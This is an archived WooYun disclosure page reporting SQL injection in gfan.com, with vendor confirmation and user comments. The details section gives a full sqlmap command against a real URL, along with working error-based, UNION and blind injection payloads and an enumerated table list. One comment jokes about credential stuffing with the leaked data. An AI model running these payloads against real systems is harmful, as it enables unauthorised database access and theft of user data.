当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-089323

漏洞标题：机锋网存在高危SQL注入漏洞还是可能导致2000w用户数据泄漏

相关厂商：机锋网

漏洞作者： 黑暗游侠

提交时间：2014-12-30 12:53

修复时间：2015-02-13 12:54

公开时间：2015-02-13 12:54

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-12-30： 细节已通知厂商并且等待厂商处理中
2014-12-30： 厂商已经确认，细节仅向厂商公开
2015-01-09： 细节向核心白帽子及相关领域专家公开
2015-01-19： 细节向普通白帽子公开
2015-01-29： 细节向实习白帽子公开
2015-02-13： 细节向公众公开

简要描述：

机锋网存在高危SQL注入漏洞，还是2000w用户数据泄漏

详细说明：

sqlmap，随便拿一个数据库举例：

sqlmap -u "http://romgame.gfan.com/index.php/gtphone?areacode=*" --dbms=MySQL --risk=3 --level=5 --count -D hd --threads=10


Database: hd
+----------------------+---------+
| Table                | Entries |
+----------------------+---------+
| rom_act_log          | 50973   |
| rom_act_log_norepet  | 16045   |
| autumn_taste_log     | 1747    |
| autumn_draw_log      | 1161    |
| rom_cellphone        | 193     |
| autumn_draw_count    | 162     |
| rom_apply_info       | 110     |
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: URI
Parameter: #1*
    Type: error-based
    Title: MySQL >= 5.0 OR error-based - WHERE or HAVING clause
    Payload: http://romgame.gfan.com:80/index.php/gtphone?areacode=-3398 OR (SELECT 3113 FROM(SELECT COUNT(*),CONCAT(0x7178736571,(SELECT (CASE WHEN (3113=3113) THEN 1 ELSE 0 END)),0x71626f7471,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
    Type: UNION query
    Title: MySQL UNION query (random number) - 3 columns
    Payload: http://romgame.gfan.com:80/index.php/gtphone?areacode=-8998 UNION ALL SELECT 8335,8335,CONCAT(0x7178736571,0x6a765965564d414e516e,0x71626f7471)#
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 OR time-based blind
    Payload: http://romgame.gfan.com:80/index.php/gtphone?areacode=-2114 OR 3908=SLEEP(5)
---
[12:46:20] [INFO] testing MySQL
[12:46:21] [WARNING] automatically patching output having last char trimmed
[12:46:21] [INFO] confirming MySQL
[12:46:22] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.0

漏洞证明：

修复方案：

版权声明：转载请注明来源 黑暗游侠@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2014-12-30 12:54

厂商回复：

修复中，谢谢提交。。。

最新状态：

暂无

漏洞评价：

评论

  1. 2014-12-30 12:55 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞，心中自然无码。)

    一秒钟。。

  2. 2014-12-30 13:40 | 咖啡 ( 实习白帽子 | Rank:48 漏洞数:20 )

    厂商屌爆

  3. 2014-12-30 13:52 | 机器猫 ( 普通白帽子 | Rank:1141 漏洞数:253 | 爱生活、爱腾讯、爱网络！)

    可撞库。。。去撞12306的哈哈。

  4. 2015-02-13 16:38 | pw0 ( 路人 | Rank:7 漏洞数:2 | 爱推理，爱计算机，爱社工，爱挖有（wei）...)

    还是。。。看到还是就笑了

  5. 2015-02-14 19:56 | idcspy ( 路人 | 还没有发布任何漏洞 | idcspy)

    @疯狗 我读书少，是一分钟吧。